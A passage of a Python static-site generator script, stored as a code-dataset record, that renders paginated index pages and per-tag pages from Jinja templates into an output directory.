pagegger_info.items():\n        if idx==0:\n            list_page = f\"{dist_dir}/index.html\"\n        else:\n            list_page = f\"{dist_dir}/index_{idx}.html\"\n        static_path = \"../\" * (len(Path(list_page).relative_to(dist_dir).parents) - 1)\n\n        start_page = max(0, idx-pagger_len//2)\n        end_page = min(total_page, idx+pagger_len//2)\n        if idx-pagger_len//2<0:\n            start_page =0\n            end_page = min(total_page, 0+pagger_len)\n        elif idx+pagger_len//2>total_page:\n            start_page = max(0, total_page-pagger_len)\n            end_page = total_page\n\n        pagger_idx = range(start_page, end_page)\n        index_template.stream(post=top_fix+post_list, static_path=static_path, pagegger = pagegger_info, pagger_idx=pagger_idx, cur_page = idx).dump(list_page, encoding='utf-8')\n    __copy_cname(source_dir, dist_dir)\n\n    tag_template = env.get_template(\"tag.html\")\n    Path(f\"{dist_dir}/tags\").mkdir(parents=True, exist_ok=True)\n    for tag, article_list in tags_article.items():\n        new_article_list = [(f'../{str(x)}', x.stem, str(x)[0:-len(x.name)]) for x in article_list] # url, title, pub_date\n        tag_template.stream(post=new_article_list, static_path=\"../\", title=f\"分类_{tag}\").dump(f\"{dist_dir}/tags/tag_{tag}.html\", encoding='utf-8')\n","sub_path":"mdwiki.py","file_name":"mdwiki.py","file_ext":"py","file_size_in_byte":6011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}